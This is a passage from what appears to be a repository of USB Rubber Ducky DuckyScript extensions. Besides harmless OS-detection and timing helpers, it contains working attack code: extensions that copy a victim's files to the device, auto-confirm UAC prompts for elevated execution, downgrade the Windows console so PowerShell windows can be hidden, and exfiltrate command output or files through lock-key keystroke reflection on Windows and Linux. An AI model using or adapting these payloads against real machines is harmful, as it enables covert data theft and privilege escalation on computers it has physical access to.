    "content": "EXTENSION SAVE_FILES_IN_RUBBER_DUCKY_STORAGE_WINDOWS\n    REM VERSION 1.0\n    REM AUTHOR: Aleff\n    REM_BLOCK Documentation\n        This extension is used to save one or more files through the USB Rubber Ducky storage.\n\n        TARGET:\n            Windows 10/11\n\n        USAGE:\n            Insert this extension when you have one or more files that you want to save in your USB Rubber Ducky.\n\n        CONFIGURATION:\n            Set #DRIVER_LABEL variable with the correct Label of your USB Rubber Ducky considering that the default value is 'DUCK'.\n\n            Set #FLAG_SINGLE_FILE with TRUE if you want to save just one file.\n            In this case you will need to specify the file path within the #SINGLE_PATH variable OR, in case the exact path to the file you can only acquire it at runtime and so via the powershell, use in the powershell the $fileToSavePath variable to capture this path.\n                i.e. in DuckyScript EXTENSION\n                    DEFINE #SINGLE_PATH C:\\Users\\Aleff\\Downloads\\photo.png\n                i.e. in PowerShell before extension\n                    $fileToSavePath = \"C:\\Users\\Aleff\\Downloads\\photo.png\"\n\n            Set #FLAG_SINGLE_FILE FALSE if you want to send multiple files.\n            In this case in the PowerShell you will have to create the variable $fileToSavePaths, which is an array of strings that should contain the list of paths related to the files you want to save.\n                i.e. in PowerShell before extension:\n                    $fileToSavePaths = @(\n                        \"C:\\Users\\Aleff\\Downloads\\photo.png\",\n                        \"C:\\Users\\Aleff\\Downloads\\document.pdf\",\n                        \"C:\\Users\\Aleff\\Downloads\\song.mp3\"\n                    )\n                Some tips:\n                    How to create an Array?\n                        > $fileToSavePaths = @()\n                    How to add an element?\n                        > $fileToSavePaths += \"C:\\Users\\Aleff\\Downloads\\photo.png\"\n                    How to see the array?\n                        > $fileToSavePaths\n    END_REM\n    REM Settings\n    DEFINE #DRIVER_LABEL DUCK\n    DEFINE #FLAG_SINGLE_FILE FALSE\n    DEFINE #SINGLE_PATH 0\n\n    REM Extension Code\n    FUNCTION SAVE_SINGLE_FILE()\n        IF ( #SINGLE_PATH != 0 ) THEN\n            STRINGLN mv #SINGLE_PATH >> ${m}:\\\n        ELSE IF ( #SINGLE_PATH == 0 ) THEN\n            STRINGLN mv ${fileToSavePath} >> ${m}:\\\n        END_IF\n    END_FUNCTION\n\n    FUNCTION SAVE_MULTIPLE_FILES()\n        STRINGLN\n            foreach ($fileToSavePath in $fileToSavePaths) {\n                mv ${fileToSavePath} >> ${m}:\\\n            }\n        END_STRINGLN\n    END_FUNCTION\n\n    STRINGLN $m=(Get-Volume -FileSystemLabel '#DRIVER_LABEL').DriveLetter;\n    IF_DEFINED_TRUE #FLAG_SINGLE_FILE\n        SAVE_SINGLE_FILE()\n    END_IF_DEFINED\n    IF_NOT_DEFINED_TRUE #FLAG_SINGLE_FILE\n        SAVE_MULTIPLE_FILES()\n    END_IF_DEFINED\nEND_EXTENSION\n"
  },
  {
    "path": "payloads/extensions/community/WINDOWS11_CONSOLE_DOWNGRADE",
    "content": "EXTENSION WINDOWS11_CONSOLE_DOWNGRADE\n    REM_BLOCK\n        Version: 1.0\n        Author: 0i41E\n        Description: Downgrade the default command prompt of Windows 11 to use Conhost again. \n        Afterwards PowerShell can be used with paramters like \"-WindowStyle Hidden\" again.\n    END_REM\n\n    REM CONFIGURATION:\n    REM Used to wait until initial execution\n    DEFINE #INPUT_WAIT 2000\n    REM GUID for using the legacy console host for terminal execution\n    DEFINE #CONHOST B23D10C0-E52E-411E-9D5B-C09FDF709C7D\n \n    FUNCTION Console_Downgrade()\n        DELAY #INPUT_WAIT  \n        GUI r\n        DELAY 500\n        STRINGLN powershell -NoP -NonI\n        DELAY 1000\n        STRING Set-ItemProperty -Path \"HKCU:\\Console\\%%Startup\" -Name DelegationConsole -Value \"{#CONHOST}\";\n        STRINGLN Set-ItemProperty -Path \"HKCU:\\Console\\%%Startup\" -Name DelegationTerminal -Value \"{#CONHOST}\";exit\n    END_FUNCTION\n\n    REM_BLOCK\n        EXAMPLE USAGE AFTER EXTENSION: Downgrade the command prompt via registry, then open a hidden PS instance and execute Calc.exe.\n        Console_Downgrade()\n        DELAY 2000\n        GUI r\n        DELAY 2000\n        STRINGLN powershell -w h\n        DELAY 1500\n        STRINGLN calc.exe;exit\n    END_REM\nEND_EXTENSION\n"
  },
  {
    "path": "payloads/extensions/community/WINDOWS_ELEVATED_EXECUTION",
    "content": "EXTENSION WINDOWS_ELEVATED_EXECUTION\n    REM VERSION 1.1\n    REM Author: 0i41E\n    REM Executes the desired program with elevated privileges\n    REM Conformation via keyboard shortcut for (currently) english, german and spanish layouts\n    REM additional extensions\n\n    REM CONFIGURATION:\n    REM Used to wait for the UAC prompt to react to input\n    DEFINE #INPUT_WAIT 2000\n    REM Shortcut for YES across multiple languages\n    DEFINE #ENGLISH_ACCEPT ALT y\n    DEFINE #GERMAN_ACCEPT ALT j\n    DEFINE #SPAIN_ACCEPT ALT s\n \n    FUNCTION Elevated_Execution()\n        DELAY #INPUT_WAIT  \n        CTRL-SHIFT ENTER\n        DELAY #INPUT_WAIT\n        REM Change below for appropriate language\n        #GERMAN_ACCEPT\n        DELAY #INPUT_WAIT\n    END_FUNCTION\n\n    REM EXAMPLE USAGE AFTER EXTENSION\n    REM DELAY 2000\n    REM GUI r\n    REM DELAY 2000\n    REM STRING powershell\n    REM Elevated_Execution()\n    REM STRINGLN whoami /priv\n\nEND_EXTENSION\n"
  },
  {
    "path": "payloads/extensions/community/WINDOWS_FILELESS_HID_EXFIL",
    "content": "EXTENSION WINDOWS_FILELESS_HID_EXFIL\r\n    REM VERSION 1.0\r\n    REM AUTHOR: 0i41E\r\n\r\n    REM_BLOCK DOCUMENTATION\r\n        Extension for Keystroke Reflection data exfiltration without putting files on disk.\r\n        This extension is a proof of concept for USB HID only Data Exfiltration and is based on Hak5s original Method.\r\n\r\n        TARGET:\r\n            Windows Hosts that supports powershell and SendKeys\r\n\r\n        USAGE:\r\n            Type out your command or script with powershell, don't execute it yet (so just type it out with STRING), afterwards you put the function Windows_Fileless_HID_Exfil() behind it.\r\n            It'll take the commands/scritps output and writes it into a variable, which then gets exfiltrated.\r\n\r\n        Example Usage:\r\n            GUI r\r\n            DELAY 500\r\n            STRINGLN powershell\r\n            DELAY 1000\r\n            STRING echo \"This is my test\"\r\n            Windows_Fileless_HID_Exfil()\r\n    END_REM\r\n\r\n    FUNCTION Windows_Fileless_HID_Exfil()\r\n        DELAY 250\r\n        REM Saving current Keyboard lock keys\r\n        SAVE_HOST_KEYBOARD_LOCK_STATE\r\n        $_EXFIL_MODE_ENABLED = TRUE\r\n        $_EXFIL_LEDS_ENABLED = TRUE\r\n        DELAY 500\r\n        REM Setting the output as variable\r\n        STRING |Out-String|Set-Variable -Name \"DD\";\r\n        REM Converting output into Lock Key values\r\n        STRING $BL = $DD.ToCharArray();$c = \"\";foreach ($b in $BL){foreach ($a in 0x80,0x40,0x20,0x10,0x08,0x04,0x02,0x01){if ($b -band $a){$c += '%{NUMLOCK}'}else{$c += '%{CAPSLOCK}'}}}$c += '%{SCROLLLOCK}';\r\n        REM Exfiltrating via Keystroke Reflection\r\n        STRINGLN Add-Type -A System.Windows.Forms;[System.Windows.Forms.SendKeys]::SendWait($c);exit\r\n        REM The final SCROLLLOCK value will be sent to indicate that EXFIL is complete.\r\n        WAIT_FOR_SCROLL_CHANGE\r\n        LED_G\r\n        $_EXFIL_MODE_ENABLED = FALSE\r\n        RESTORE_HOST_KEYBOARD_LOCK_STATE\r\n    END_FUNCTION\r\nEND_EXTENSION\r\n"
  },
  {
    "path": "payloads/extensions/detect_ready.txt",
    "content": "EXTENSION DETECT_READY\n    REM VERSION 1.1\n    REM AUTHOR: Korben\n\n    REM_BLOCK DOCUMENTATION\n        USAGE:\n            Extension runs inline (here)\n            Place at beginning of payload (besides ATTACKMODE) to act as dynamic\n            boot delay\n\n        TARGETS:\n            Any system that reflects CAPSLOCK will detect minimum required delay\n            Any system that does not reflect CAPSLOCK will hit the max delay of 3000ms\n    END_REM\n\n    REM CONFIGURATION:\n    DEFINE #RESPONSE_DELAY 25\n    DEFINE #ITERATION_LIMIT 120\n\n    VAR $C = 0\n    WHILE (($_CAPSLOCK_ON == FALSE) && ($C < #ITERATION_LIMIT))\n        CAPSLOCK\n        DELAY #RESPONSE_DELAY\n        $C = ($C + 1)\n    END_WHILE\n    CAPSLOCK\nEND_EXTENSION\n"
  },
  {
    "path": "payloads/extensions/exfil_auto_eof_detect.txt",
    "content": "EXTENSION EXFIL_AUTO_EOF_DETECT\n    REM VERSION 1.1\n    REM AUTHOR: Korben\n\n    REM_BLOCK DOCUMENTATION\n        USAGE:\n            Call WAIT_FOR_EOF() after starting Keystroke Reflection / HID Exfil\n\n        TARGETS:\n            Requires reflection of at least 2 lock keys.\n            Intended for use on systems that dont reflect more than 2 lock keys.\n    END_REM\n\n    REM CONFIGURATION\n    DEFINE #INACTIVTY_TARGET 10\n\n    FUNCTION WAIT_FOR_EOF()\n        VAR $CURRENT_CAPSLOCK_STATE = $_CAPSLOCK_ON\n        VAR $CURRENT_NUMLOCK_STATE = $_NUMLOCK_ON\n        VAR $PROCESSING = TRUE\n        VAR $INACTIVITY_COUNT = 0\n        WHILE ($PROCESSING)\n            DELAY 20 \n            IF($CURRENT_CAPSLOCK_STATE != $_CAPSLOCK_ON) THEN\n                $CURRENT_CAPSLOCK_STATE  = $_CAPSLOCK_ON\n                $PROCESSING = TRUE\n                LED_G\n            ELSE IF($CURRENT_NUMLOCK_STATE != $_NUMLOCK_ON) THEN\n                $CURRENT_NUMLOCK_STATE  = $_NUMLOCK_ON\n                $PROCESSING = TRUE\n                LED_R\n            ELSE \n                $INACTIVTY_COUNT = ($INACTIVTY_COUNT + 1)\n                IF ($INACTIVTY_COUNT >= #INACTIVTY_TARGET) THEN\n                    $PROCESSING = FALSE\n                END_IF\n                LED_OFF\n            END_IF\n        END_WHILE\n        LED_G\n    END_FUNCTION\nEND_EXTENSION\n"
  },
  {
    "path": "payloads/extensions/hello_os.txt",
    "content": "EXTENSION HELLO_OS\n    REM VERSION 1.1\n    REM AUTHOR: Korben\n\n    REM_BLOCK DOCUMENTATION\n        USAGE:\n            For use with OS_DETECT Extension, call HELLO_OS() after DETECT_OS()\n            prints the OS determination\n    END_REM\n\n    REM Additional Example: Defining custom $_OS enums\n    DEFINE #EXTRA_EXAMPLES FALSE\n    DEFINE #SOME_OTHER_OS 6\n    DEFINE #ANOTHER_OS 7\n\n    FUNCTION HELLO_OS() \n        IF ($_OS == WINDOWS) THEN\n            STRING Hello Windows!\n        ELSE IF ($_OS == MACOS) THEN\n            STRING Hello Mac!\n        ELSE IF ($_OS == LINUX) THEN\n            STRING Hello Linux!\n        ELSE IF ($_OS == IOS) THEN\n            STRING Hello iOS!\n        ELSE IF ($_OS == CHROMEOS) THEN\n            STRING Hello ChromeOS!\n        ELSE IF ($_OS == ANDROID) THEN\n            STRING Hello Android!\n        IF_DEFINED_TRUE #EXTRA_EXAMPLES\n            ELSE IF($_OS == #SOME_OTHER_OS) THEN\n                REM Example Only\n                STRING HELLO Custom OS Type!\n            ELSE IF($_OS == #ANOTHER_OS) THEN\n                REM Example Only\n                STRING HELLO Another Custom OS Type!\n        END_IF_DEFINED\n        ELSE\n            STRING Hello World!\n        END_IF\n    END_FUNCTION\nEND_EXTENSION\n"
  },
  {
    "path": "payloads/extensions/linux_hid_exfil.txt",
    "content": "EXTENSION LINUX_HID_EXFIL\n    REM VERSION 1.1\n    REM AUTHOR: Korben\n\n    REM REQUIRES EXTENSION EXFIL_AUTO_EOF_DETECT\n\n    REM_BLOCK DOCUMENTATION\n        Helpers for Linux Keystroke Reflection data exfiltration\n        This payload is a proof of concept for USB HID only Data Exfiltration\n\n        TARGET:\n            Linux host that supports opening terminal via CTRL ALT t, and xdotool\n\n        USAGE:\n            REQUIRES EXFIL_AUTO_EOF_DETECT EXTENSION\n            Prepare data to exfil (in filename defined by TARGET_FILE below)\n            with a terminal window already open - call RUN_LINUX_EXFIL()\n\n        DEPLOYMENT:\n            Plug Ducky into host, wait for the LED to turn (and stay) solid Green.\n    END_REM\n\n    REM CONFIGURATION:\n    REM File on host machine to exfil using Keystroke Reflection attack\n    DEFINE #TARGET_FILE filename.txt\n\n    DEFINE #SAVE_AND_RESTORE_LOCKS TRUE\n    DEFINE #ENABLE_EXFIL_LEDS TRUE\n    DEFINE #CLOSE_TERMINAL_AFTER_EXFIL TRUE\n\n    REM if TRUE will open terminal, prepare data in #TARGET_FILE, and RUN_LINUX_EXFIL()\n    DEFINE #RUN_SIMPLE_USAGE_DEMO FALSE\n\n    FUNCTION RUN_LINUX_EXFIL()\n        IF_DEFINED_TRUE #ENABLE_EXFIL_LEDS\n            LED_OFF\n            $_EXFIL_LEDS_ENABLED = TRUE\n        END_IF_DEFINED\n\n        IF_DEFINED_TRUE #SAVE_AND_RESTORE_LOCKS\n            SAVE_HOST_KEYBOARD_LOCK_STATE\n        END_IF_DEFINED\n\n        $_EXFIL_MODE_ENABLED = TRUE\n        STRING_BASH\n            c=\"xdotool key --delay 4\";\n            bs=$(xxd -b \n            #TARGET_FILE\n            |cut -d\" \" -f2-7);\n            for((i=0;i<${#bs};i++));do \n                b=\"${bs:$i:1}\";\n                if [[ \"$b\" == \"0\" ]];then \n                    c+=\" Caps_Lock\";\n                fi;\n                if [[ \"$b\" == \"1\" ]];then \n                    c+=\" Num_Lock\";\n                fi;\n            done;\n            $c;\n        END_STRING\n\n        IF_DEFINED_TRUE #CLOSE_TERMINAL_AFTER_EXFIL\n            STRING exit;\n        END_IF_DEFINED\n\n        ENTER\n\n        REM Requires adding EXFIL_AUTO_EOF_DETECT EXTENSION above this one\n        WAIT_FOR_EOF()\n\n        $_EXFIL_MODE_ENABLED = FALSE\n\n        IF_DEFINED_TRUE #ENABLE_EXFIL_LEDS\n            $_EXFIL_LEDS_ENABLED = FALSE\n        END_IF_DEFINED\n\n        IF_DEFINED_TRUE #SAVE_AND_RESTORE_LOCKS\n            RESTORE_HOST_KEYBOARD_LOCK_STATE\n        END_IF_DEFINED\n    END_FUNCTION\n\n    IF_DEFINED_TRUE #RUN_SIMPLE_USAGE_DEMO\n        REM DO NOT MODIFY THIS DEMO - copy and move outside extension if using as template.\n        REM DEMO Boot Delay\n        DELAY 3000\n        REM Open Terminal\n        CTRL ALT t\n        DELAY 500\n        REM Perpare some data in TARGET_FILE\n        STRINGLN uname -a>#TARGET_FILE\n        REM Exfil data to USB Rubber Ducky using Keystroke Reflection\n        RUN_LINUX_EXFIL()\n    END_IF_DEFINED\nEND_EXTENSION\n"
  },
  {
    "path": "payloads/extensions/os_detect.txt",
    "content": "EXTENSION OS_DETECTION\n    REM VERSION 1.1\n    REM AUTHOR: Korben\n\n    REM_BLOCK DOCUMENTATION\n        USB Rubber Ducky Host OS Detection\n        Generic OS detection at a high view is a moving target\n        results may vary greatly depending\n        on a combination of many variables:\n         - number of testing stages\n         - specific devices and versions tested against\n         - number of systems testing for (scope)\n         - detection techniques (passive/invisible/active/hybrid)\n         - overall speed\n         - overall accuracy\n\n        If all you require is windows vs <anything other os> detection, the\n        PASSIVE_WINDOWS_DETECT extension is recommended over this extension.\n\n        TARGET:\n            DEFAULT - Windows, Mac, Linux\n            ADVANCED_DETECTION - Windows, Mac, Linux, iOS, ChromeOS, Android\n\n        USAGE:\n            Uncomment the function call below to run this extension inline (here)\n            or call DETECT_OS() anywhere in your payload after the extension\n            Place this extension and the DETECT_OS() before\n            you would like to first reference $_OS to execute payload code conditionally\n\n        FEEDBACK:\n            As mentioned above, this a moving target (especially for mac systems)\n            Please report any issues identifying specific operating systems.\n            Your feedback will greatly help solidify the robustness of this extension\n\n        DEBUGGING:\n            SET DEBUGGING_OUTPUT DEFINE to TRUE, deploy on a target with text editor open for debug output\n    END_REM\n\n    REM CONFIGURATION:\n    REM For Debugging:\n    DEFINE #DEBUGGING_OUTPUT FALSE\n    DEFINE #ADVANCED_DETECTION FALSE\n    REM Timing fine tuning:\n    DEFINE #STARTUP_DELAY 1500\n    DEFINE #RESTART_WAIT 1000\n    DEFINE #CONNECT_WAIT 1000\n    DEFINE #OS_DETECT_MODE HID\n    DEFINE #OS_DETECT_VID VID_05AC\n    DEFINE #OS_DETECT_PID PID_021E\n    DEFINE #WINDOWS_HOST_REQUEST_COUNT 2\n    DEFINE #HOST_RESPONSE_TIMEOUT 1000\n\n    FUNCTION DETECT_OS()\n        $_HOST_CONFIGURATION_REQUEST_COUNT = 0\n        ATTACKMODE #OS_DETECT_MODE #OS_DETECT_VID #OS_DETECT_PID\n        DELAY #STARTUP_DELAY\n        SAVE_HOST_KEYBOARD_LOCK_STATE\n\n        IF_DEFINED_TRUE #DEBUGGING_OUTPUT\n            IF_DEFINED_TRUE #ADVANCED_DETECTION\n                STRING ADVANCED OS DETECT\n            ELSE_DEFINED\n                STRING OS DETECT\n            END_IF_DEFINED\n\n            ENTER\n            STRING test caps\n        END_IF_DEFINED\n\n        IF ($_CAPSLOCK_ON == FALSE) THEN\n            LED_R\n            CAPSLOCK\n            DELAY #HOST_RESPONSE_TIMEOUT\n        END_IF\n        LED_OFF\n\n        IF_DEFINED_TRUE #DEBUGGING_OUTPUT\n            ENTER\n            STRING test done\n        END_IF_DEFINED\n\n        IF $_RECEIVED_HOST_LOCK_LED_REPLY THEN\n            IF_DEFINED_TRUE #DEBUGGING_OUTPUT\n                ENTER\n                STRING received led response\n            END_IF_DEFINED\n            LED_G\n            IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN\n                IF_DEFINED_TRUE #DEBUGGING_OUTPUT\n                    ENTER\n                    STRING prediction: Windows\n                END_IF_DEFINED\n                $_OS = WINDOWS\n            ELSE\n                IF_DEFINED_TRUE #DEBUGGING_OUTPUT\n                    ENTER\n                    STRING prediction: Linux\n                END_IF_DEFINED\n                $_OS = LINUX\n            END_IF\n        ELSE\n            IF_DEFINED_TRUE #DEBUGGING_OUTPUT\n                ENTER\n                STRING no led response\n                ENTER\n                STRING prediciton: MacOS\n            END_IF_DEFINED\n            $_OS = MACOS\n        END_IF\n\n        IF_DEFINED_TRUE #ADVANCED_DETECTION\n            IF ( $_OS == LINUX ) THEN\n                IF_DEFINED_TRUE #DEBUGGING_OUTPUT\n                    ENTER\n                    STRING soft reconnect\n                END_IF_DEFINED\n                ATTACKMODE OFF\n                DELAY #RESTART_WAIT\n                ATTACKMODE #OS_DETECT_MODE #OS_DETECT_VID #OS_DETECT_PID\n                DELAY #CONNECT_WAIT\n                IF_DEFINED_TRUE #DEBUGGING_OUTPUT\n                    ENTER\n                    STRING reconnected\n                END_IF_DEFINED\n                IF ($_CAPSLOCK_ON == TRUE) THEN\n                    IF_DEFINED_TRUE #DEBUGGING_OUTPUT\n                        ENTER\n                        STRING caps led on\n                        ENTER\n                        STRING test numlock\n                    END_IF_DEFINED\n                    NUMLOCK\n                    DELAY #HOST_RESPONSE_TIMEOUT\n                    IF_DEFINED_TRUE #DEBUGGING_OUTPUT\n                        ENTER\n                        STRING test done\n                    END_IF_DEFINED\n                    IF ($_NUMLOCK_ON == FALSE) THEN\n                        IF_DEFINED_TRUE #DEBUGGING_OUTPUT\n                            ENTER\n                            STRING no numlock led\n                            ENTER\n                            STRING prediciton: ChromeOS\n                        END_IF_DEFINED\n                        $_OS = CHROMEOS\n                    ELSE\n                        IF_DEFINED_TRUE #DEBUGGING_OUTPUT\n                            ENTER\n                            STRING numlock led on\n                            ENTER\n                            STRING testing scrolllock\n                        END_IF_DEFINED\n                        SCROLLLOCK\n                        DELAY #HOST_RESPONSE_TIMEOUT\n                        IF_DEFINED_TRUE #DEBUGGING_OUTPUT\n                            ENTER\n                            STRING test done\n                        END_IF_DEFINED\n                        IF ($_SCROLLLOCK_ON == TRUE) THEN\n                            IF_DEFINED_TRUE #DEBUGGING_OUTPUT\n                                ENTER\n                                STRING scrolllock led on\n                                ENTER\n                                STRING prediciton: Android\n                            END_IF_DEFINED\n                            $_OS = ANDROID\n                        ELSE\n                            IF_DEFINED_TRUE #DEBUGGING_OUTPUT\n                                ENTER\n                                STRING no scrolllock reply\n                                ENTER\n                                STRING prediction: Linux\n                            END_IF_DEFINED\n                            $_OS = LINUX\n                        END_IF\n                    END_IF\n                END_IF\n            ELSE IF ($_OS == MACOS) THEN\n                IF ($_CAPSLOCK_ON == TRUE) THEN\n                    IF_DEFINED_TRUE #DEBUGGING_OUTPUT\n                        ENTER\n                        STRING caps led on\n                        ENTER\n                        STRING prediction: iOS\n                    END_IF_DEFINED\n                    $_OS = IOS\n                ELSE \n                    IF_DEFINED_TRUE #DEBUGGING_OUTPUT\n                        ENTER\n                        STRING no caps reply\n                        ENTER\n                        STRING prediction: MacOS\n                    END_IF_DEFINED\n                    $_OS = MACOS\n                END_IF\n            ELSE IF ($_OS == WINDOWS) THEN\n                IF_DEFINED_TRUE #DEBUGGING_OUTPUT\n                    ENTER\n                    STRING Confident Windows Prediction\n                END_IF_DEFINED\n                $_OS = WINDOWS\n            END_IF\n        END_IF_DEFINED\n\n        RESTORE_HOST_KEYBOARD_LOCK_STATE\n\n        IF_DEFINED_TRUE #DEBUGGING_OUTPUT\n            ENTER\n            STRING OS_DETECT complete\n            ENTER\n        END_IF_DEFINED\n    END_FUNCTION\n\n    REM Uncomment the function call below to run this extension inline (here)\n    REM or call DETECT_OS() anywhere in your payload after the extension\n    REM DETECT_OS()\nEND_EXTENSION\n"
  },
  {
    "path": "payloads/extensions/passive_detect_ready.txt",
    "content": "EXTENSION PASSIVE_DETECT_READY\n    REM VERSION 1.1\n    REM AUTHOR: Korben\n\n    REM_BLOCK DOCUMENTATION\n        Passive Detect Ready - no injection dynamic boot delay\n        for hosts that reflect current OS lock key state on connect\n\n        USAGE:\n            Extension runs inline (here)\n            Place at beginning of payload (besides ATTACKMODE) to act as dynamic\n            boot delay\n    END_REM\n\n    REM CONFIGURATION:\n    DEFINE #MAX_WAIT 150\n    DEFINE #CHECK_INTERVAL 20\n\n    VAR $MAX_TRIES = #MAX_WAIT\n    WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))\n        DELAY #CHECK_INTERVAL\n        $MAX_TRIES = ($MAX_TRIES - 1)\n    END_WHILE\nEND_EXTENSION\n"
  },
  {
    "path": "payloads/extensions/passive_windows_detect.txt",
    "content": "EXTENSION PASSIVE_WINDOWS_DETECT\n    REM VERSION 1.1\n    REM AUTHOR: Korben\n\n    REM_BLOCK DOCUMENTATION\n        Windows fully passive OS Detection and passive Detect Ready\n        Includes its own passive detect ready.\n        Does not require additional extensions.\n\n        USAGE:\n            Extension runs inline (here)\n            Place at beginning of payload (besides ATTACKMODE) to act as dynamic\n            boot delay\n            $_OS will be set to WINDOWS or NOT_WINDOWS\n            See end of payload for usage within payload\n    END_REM\n\n    REM CONFIGURATION:\n    DEFINE #MAX_WAIT 150\n    DEFINE #CHECK_INTERVAL 20\n    DEFINE #WINDOWS_HOST_REQUEST_COUNT 2\n    DEFINE #NOT_WINDOWS 7\n\n    $_OS = #NOT_WINDOWS\n\n    VAR $MAX_TRIES = #MAX_WAIT\n    WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))\n        DELAY #CHECK_INTERVAL\n        $MAX_TRIES = ($MAX_TRIES - 1)\n    END_WHILE\n    IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN\n        $_OS = WINDOWS\n    END_IF\n\n    REM_BLOCK EXAMPLE USAGE AFTER EXTENSION\n        IF ($_OS == WINDOWS) THEN\n            STRING HELLO WINDOWS!\n        ELSE\n            STRING HELLO WORLD!\n        END_IF\n    END_REM\nEND_EXTENSION\n"
  },
  {
    "path": "payloads/extensions/protected_storage_mode.txt",
    "content": "EXTENSION PROTECTED_STORAGE_MODE\n    REM VERSION 1.1\n    REM AUTHOR: Korben\n\n    REM_BLOCK\n        Example hidden storage mode\n        Forces user to padlock style unlock storage mode by setting\n        the HOSTs lock keys and pressing the duck button to submit a\n        combination three times.\n        The wrong combination will immediately fail silently.\n        The correct combination will trigger ATTACKMODE STORAGE and LED_G\n\n        TARGET:\n            Any host that will reflect CAPSLOCK,NUMLOCK, and SCROLLLOCK\n\n        USAGE:\n            BUTTON_DEF\n                STORAGE_PASSWORD_CHECK()\n            END_BUTTON\n\n        CONFIGURATION:\n            Available combinations provided as DEFINEs below,\n            change within the STORAGE_PASSWORD_CHECK as desired\n\n            Method of input submission can be changed using SUBMIT_FOR_CHECK\n            But will obviously convolute combination checks.\n    END_REM\n\n    REM Combinations provided as defines for convenience (verbosely spaced - DEFINES aren't re-formatted by preprocessor)\n    DEFINE #ALL_LOCKS_OFF ( ( $_CAPSLOCK_ON == FALSE ) && ( $_NUMLOCK_ON == FALSE ) && ( $_SCROLLLOCK_ON == FALSE ) )\n    DEFINE #ALL_LOCKS_ON ( ( $_CAPSLOCK_ON == TRUE ) && ( $_NUMLOCK_ON == TRUE ) && ( $_SCROLLLOCK_ON == FALSE ) )\n\n    DEFINE #ONLY_CAPS_ON ( ( $_CAPSLOCK_ON == TRUE ) && ( $_NUMLOCK_ON == FALSE ) && ( $_SCROLLLOCK_ON == FALSE ) )\n    DEFINE #ONLY_NUM_ON  ( ( $_CAPSLOCK_ON == FALSE ) && ( $_NUMLOCK_ON == TRUE ) && ( $_SCROLLLOCK_ON == FALSE ) )\n    DEFINE #ONLY_SCROLL_ON ( ( $_CAPSLOCK_ON == FALSE ) && ( $_NUMLOCK_ON == FALSE ) && ( $_SCROLLLOCK_ON == TRUE ) )\n\n    DEFINE #ONLY_CAPS_OFF ( ( $_CAPSLOCK_ON == FALSE ) && ( $_NUMLOCK_ON == TRUE ) && ( $_SCROLLLOCK_ON == TRUE ) )\n    DEFINE #ONLY_NUM_OFF  ( ( $_CAPSLOCK_ON == TRUE ) && ( $_NUMLOCK_ON == FALSE ) && ( $_SCROLLLOCK_ON == TRUE ) )\n    DEFINE #ONLY_SCROLL_OFF ( ( $_CAPSLOCK_ON == TRUE ) && ( $_NUMLOCK_ON == TRUE ) && ( $_SCROLLLOCK_ON == FALSE ) )\n\n    DEFINE #SUBMIT_FOR_CHECK WAIT_FOR_BUTTON_PRESS\n    \n    FUNCTION STORAGE_PASSWORD_CHECK()\n        VAR $ACCEPED = FALSE\n        LED_R\n        #SUBMIT_FOR_CHECK\n\n        REM first combination ALL LOCKS OFF\n        IF #ALL_LOCKS_OFF THEN\n            STRING .\n            #SUBMIT_FOR_CHECK\n\n            REM second combination ONLY CAPS ON \n            IF #ONLY_CAPS_ON THEN\n                STRING .\n                #SUBMIT_FOR_CHECK\n\n                REM third combination ONLY NUM ON \n                IF #ONLY_NUM_ON THEN\n                    $ACCEPTED = TRUE\n                END_IF\n            END_IF\n        END_IF\n\n        IF $ACCEPTED THEN\n            LED_G\n            ATTACKMODE STORAGE\n        END_IF\n    END_FUNCTION\nEND_EXTENSION\n"
  },
  {
    "path": "payloads/extensions/self_destruct.txt",
    "content": "EXTENSION SELF_DESTRUCT\n    REM VERSION 1.0\n    REM AUTHOR: Korben\n\n    REM_BLOCK Documentation\n        This extension is used to \"SELF DESTRUCT\" a payload in one of two ways\n\n        TARGET: \n            Any\n\n        USAGE:\n            Place this extension at top of your payload.\n\n\n        CONFIGURATION:\n            Set the #DESTRUCT_METHOD to one of the following methods:\n                REVERT_TO_THUMBDRIVE() \n                    - delete payload and enter storage mode.\n                    To return to normal usage simply add a new inject.bin\n        \n                SOFT_BRICK() \n                    - keeps payload in order to force OFF w/ disabled button.\n                    To return to normal usage the SD card will need to be removed and\n                    the inject.bin replaced.\n    \n            Set #RUNS_BEFORE_DESTROY to an integer - the number of times the payload \n            must run before it self destructs\n    \n            #REQUIRES_FINISH if set to TRUE will require you to call PAYLOAD_FINISHED()\n            at the end of the payload for the deployment to count towards #RUNS_BEFORE_DESTROY\n    \n            Since this extension replaces \"boot\", #BOOT_ATTACKMODE defines the\n            the default mode to enter after this extension has run\n    END_REM\n    DEFINE #REQUIRES_FINISH FALSE\n    DEFINE #RUNS_BEFORE_DESTROY 1\n    DEFINE #DESTRUCT_METHOD REVERT_TO_THUMBDRIVE()\n    DEFINE #BOOT_ATTACKMODE ATTACKMODE HID\n\n    ATTACKMODE OFF\n    \n    FUNCTION PERSIST()\n        REM_BLOCK note\n            this takes advantage of a sideaffect of hide/restore procedure and\n            _how_ we initialize the variable we want to persist.\n        END_REM\n        HIDE_PAYLOAD\n        DELAY 100\n        RESTORE_PAYLOAD\n    END_FUNCTION\n    \n    FUNCTION SOFT_BRICK()\n            ATTACKMODE OFF\n            LED_OFF\n            DISABLE_BUTTON\n            STOP_PAYLOAD\n    END_FUNCTION\n\n    FUNCTION REVERT_TO_THUMBDRIVE()\n            LED_OFF\n            HIDE_PAYLOAD\n            DELAY 500\n            ATTACKMODE STORAGE\n    END_FUNCTION\n    \n    FUNCTION PAYLOAD_FINISHED()\n        $TIMES_RAN = ($TIMES_RAN + 1)\n        PERSIST()\n        IF ($TIMES_RAN < #RUNS_BEFORE_DESTROY) THEN\n            #DESTRUCT_METHOD\n        END_IF\n    END_FUNCTION\n\n    IF ($TIMES_RAN < #RUNS_BEFORE_DESTROY) THEN\n        IF_NOT_DEFINED_TRUE #REQUIRES_FINISH\n            VAR $TIMES_RAN = ($TIMES_RAN + 1)\n            PERSIST()\n        END_IF_DEFINED\n        #BOOT_ATTACKMODE\n    ELSE\n        #DESTRUCT_METHOD\n    END_IF\nEND_EXTENSION\n"
  },
  {
    "path": "payloads/extensions/translate.txt",
